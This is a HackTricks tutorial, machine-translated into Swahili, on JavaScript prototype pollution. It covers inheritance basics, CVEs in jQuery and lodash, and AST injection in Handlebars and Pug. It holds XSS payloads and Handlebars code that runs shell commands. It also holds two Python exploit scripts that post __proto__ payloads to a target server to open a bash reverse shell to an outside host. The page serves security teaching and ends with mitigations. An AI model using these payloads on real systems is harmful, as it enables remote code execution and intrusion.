NodeJS - __proto__ & prototype Pollution
Reading time: 12 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Objects in JavaScript
Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia Object.create
na null
kama hoja ili kuzalisha kitu kisicho na kitu. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Kitu kisichokuwa na kitu ni sawa na kamusi isiyo na kitu, inawakilishwa kama {}
.
Kazi na Madarasa katika JavaScript
Katika JavaScript, madarasa na kazi zinahusiana kwa karibu, ambapo kazi mara nyingi hutumikia kama wajenzi wa madarasa. Licha ya ukosefu wa msaada wa asili wa darasa katika JavaScript, wajenzi wanaweza kuiga tabia ya darasa.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototypes katika JavaScript
JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utendaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik.
Mifunction kama toString
na valueOf
zinaweza kubadilishwa kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa prototype wa JavaScript.
Urithi
Katika programu inayotegemea prototype, mali/mifunction zinarithiwa na vitu kutoka kwa madarasa. Madarasa haya yanaundwa kwa kuongeza mali/mifunction ama kwa mfano wa darasa lingine au kwa kitu kisicho na kitu.
Inapaswa kuzingatiwa kwamba wakati mali inaongezwa kwa kitu kinachotumikia kama prototype kwa vitu vingine (kama myPersonObj
), vitu vinavyorithi vinapata ufikiaji wa mali hii mpya. Hata hivyo, mali hii haionekani moja kwa moja isipokuwa itakapoitwa wazi.
__proto__ uchafuzi
Kuchunguza Uchafuzi wa Prototype katika JavaScript
Vitu vya JavaScript vin defined na jozi za funguo-thamani na vinarithi kutoka kwa prototype ya JavaScript Object. Hii inamaanisha kubadilisha prototype ya Object kunaweza kuathiri vitu vyote katika mazingira.
Hebu tumia mfano tofauti kuonyesha:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Upatikanaji wa prototype ya Object unapatikana kupitia:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Kwa kuongeza mali kwenye prototype ya Object, kila kitu cha JavaScript kitapata urithi wa mali hizi mpya:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype pollution
Katika hali ambapo matumizi ya __proto__
yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Hii inahusisha tu vitu vilivyoundwa kutoka kwa Vehicle
constructor, ikiwapa mali za beep
, hasWheels
, honk
, na isElectric
.
Mbinu mbili za kuathiri vitu vya JavaScript kwa njia ya prototype pollution ni pamoja na:
- Kuathiri moja kwa moja
Object.prototype
:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Kuchafulia prototype ya mjenzi wa muundo unaotumika sana:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Baada ya operesheni hizi, kila kitu cha JavaScript kinaweza kutekeleza goodbye
na greet
mbinu.
Kuingiza vitu vingine
Kutoka kwa darasa hadi Object.prototype
Katika hali ambapo unaweza kuingiza kitu maalum na unahitaji kufikia Object.prototype
unaweza kutafuta kwa kutumia kitu kama ifuatavyo:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Uchafuzi wa vipengele vya array
Kumbuka kwamba kadri unavyoweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia kuchafua thamani za array zinazopatikana kwa viashiria (kumbuka kwamba huwezi kuandika tena thamani, hivyo unahitaji kuchafua viashiria ambavyo kwa namna fulani vinatumika lakini havijaandikwa).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Uchafuzi wa vipengele vya Html
Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana kufuta sifa ya innerHTML
ili kufanya iweze kuandika kanuni za HTML zisizo na mpangilio. Wazo na mfano kutoka kwa andiko hili.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Mifano
Mfano wa Msingi
Uchafuzi wa prototype hutokea kutokana na kasoro katika programu inayoruhusu kuandika upya mali kwenye Object.prototype
. Hii inamaanisha kwamba kwa kuwa vitu vingi vinapata mali zao kutoka Object.prototype
Mfano rahisi ni kuongeza thamani kwenye sifa isiyofafanuliwa ya kitu ambacho kitakaguliwa, kama:
if (user.admin) {
Ikiwa sifa admin
haijafafanuliwa inawezekana kutumia PP na kuipatia Thamani ya Kweli kwa kitu kama:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Mechanism nyuma ya hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti juu ya ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulation hii kwa kawaida inahusisha kuweka mali ya __proto__
, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu.
Masharti ambayo shambulio hili linaweza kutekelezwa kwa mafanikio, kama ilivyoelezwa katika study maalum, ni pamoja na:
- Kufanya muungano wa kurudi.
- Kuweka mali kulingana na njia.
- Kutoa vitu.
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution to RCE
{{#ref}} prototype-pollution-to-rce.md {{#endref}}
Mifumo mingine:
Client-side prototype pollution to XSS
{{#ref}} client-side-prototype-pollution.md {{#endref}}
CVE-2019–11358: Shambulio la prototype pollution kupitia jQuery $ .extend
Kwa maelezo zaidi angalia makala hii Katika jQuery, kazi ya $ .extend
inaweza kusababisha prototype pollution ikiwa kipengele cha nakala ya kina kinatumika vibaya. Kazi hii hutumiwa mara nyingi kwa ajili ya kunakili vitu au kuunganisha mali kutoka kwa kitu cha kawaida. Hata hivyo, wakati imewekwa vibaya, mali zinazokusudiwa kwa kitu kipya zinaweza kupewa prototype badala yake. Kwa mfano:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Uthibitisho huu, ulioainishwa kama CVE-2019–11358, unaonyesha jinsi nakala ya kina inaweza kubadilisha kwa bahati mbaya prototype, ikisababisha hatari za usalama, kama vile ufikiaji wa admin usioidhinishwa ikiwa mali kama isAdmin
zitakaguliwa bila uthibitisho sahihi wa kuwepo.
CVE-2018–3721, CVE-2019–10744: Shambulio la uchafuzi wa prototype kupitia lodash
Kwa maelezo zaidi angalia makala hii
Lodash ilikumbana na udhaifu sawa wa uchafuzi wa prototype (CVE-2018–3721, CVE-2019–10744). Masuala haya yalishughulikiwa katika toleo 4.17.11.
Mafunzo mengine na CVEs
{{#ref}} https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2 {{#endref}}
Zana za kugundua Uchafuzi wa Prototype
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa skanning maombi ili kubaini masuala yanayoweza kuwa ya uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js.
- server-side-prototype-pollution: Kiendelezi hiki kinatambua udhaifu wa uchafuzi wa prototype upande wa seva. Kinatumia mbinu zilizoelezwa katika uchafuzi wa prototype upande wa seva.
Uchafuzi wa Prototype wa AST katika NodeJS
NodeJS inatumia kwa kiasi kikubwa Miti ya Sintaksia ya Abstrakti (AST) katika JavaScript kwa kazi kama vile injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa prototype katika injini za templeti, hasa Handlebars na Pug.
Uchambuzi wa Uthibitisho wa Handlebars
Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya javascript-compiler.js
. Kazi ya appendContent
, kwa mfano, inakusanya pendingContent
ikiwa ipo, wakati kazi ya pushSource
inarejesha pendingContent
kuwa undefined
baada ya kuongeza chanzo.
Mchakato wa Utekelezaji
Utekelezaji unatumia AST (Miti ya Sintaksia ya Abstrakti) inayozalishwa na Handlebars, ikifuatia hatua hizi:
- Manipulation ya Parser: Kwanza, parser, kupitia node ya
NumberLiteral
, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingizwa kwa nyuzi zisizo za nambari. - Kushughulikia na Compiler: Compiler inaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa
input.type
ni sawa naProgram
, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumika. - Kuingiza Msimbo: Kupitia manipulation ya
Object.prototype
, mtu anaweza kuingiza msimbo wowote katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali.
Mfano unaoonyesha utekelezaji wa udhaifu wa Handlebars:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Hii code inaonyesha jinsi mshambuliaji anaweza kuingiza msimbo wowote katika kiolezo cha Handlebars.
Marejeo ya Nje: Tatizo linalohusiana na uchafuzi wa prototype lilipatikana katika maktaba ya 'flat', kama ilivyoelezwa hapa: Issue on GitHub.
Marejeo ya Nje: Issue related to prototype pollution in the 'flat' library
Mfano wa exploit ya uchafuzi wa prototype katika Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Uthibitisho wa Pug
Pug, injini nyingine ya kielelezo, inakabiliwa na hatari sawa ya uchafuzi wa prototype. Taarifa za kina zinapatikana katika mjadala kuhusu AST Injection in Pug.
Mfano wa uchafuzi wa prototype katika Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Hatua za Kuzuia
Ili kupunguza hatari ya uchafuzi wa prototype, mikakati iliyoorodheshwa hapa chini inaweza kutumika:
- Uthibitisho wa Kitu:
Object.prototype
inaweza kufanywa isiyoweza kubadilishwa kwa kutumiaObject.freeze
. - Uthibitishaji wa Ingizo: Ingizo la JSON linapaswa kuthibitishwa kwa makini dhidi ya muundo wa programu.
- Mifumo Salama ya Kuunganisha: Matumizi yasiyo salama ya mifumo ya kuunganisha ya kurudiwa yanapaswa kuepukwa.
- Vitu Visivyo na Prototype: Vitu bila mali za prototype vinaweza kuundwa kwa kutumia
Object.create(null)
. - Matumizi ya Ramani: Badala ya
Object
,Map
inapaswa kutumika kwa kuhifadhi jozi za funguo-thamani. - Sasisho za Maktaba: Vidokezo vya usalama vinaweza kuingizwa kwa kusasisha maktaba mara kwa mara.
- Zana za Linter na Uchambuzi wa Kimuundo: Tumia zana kama ESLint zikiwa na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype.
- Mapitio ya Kanuni: Tekeleza mapitio ya kina ya kanuni ili kubaini na kurekebisha hatari zinazoweza kuhusiana na uchafuzi wa prototype.
- Mafunzo ya Usalama: Wafundishe waendelezaji kuhusu hatari za uchafuzi wa prototype na mbinu bora za kuandika kanuni salama.
- Kutumia Maktaba kwa Uangalifu: Kuwa makini unapokuwa ukitumia maktaba za upande wa tatu. Kadiria hali yao ya usalama na pitia kanuni zao, hasa zile zinazoshughulikia vitu.
- Ulinzi wa Wakati wa Uendeshaji: Tumia mitambo ya ulinzi wa wakati wa uendeshaji kama vile kutumia pakiti za npm zinazolenga usalama ambazo zinaweza kugundua na kuzuia mashambulizi ya uchafuzi wa prototype.
Marejeleo
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.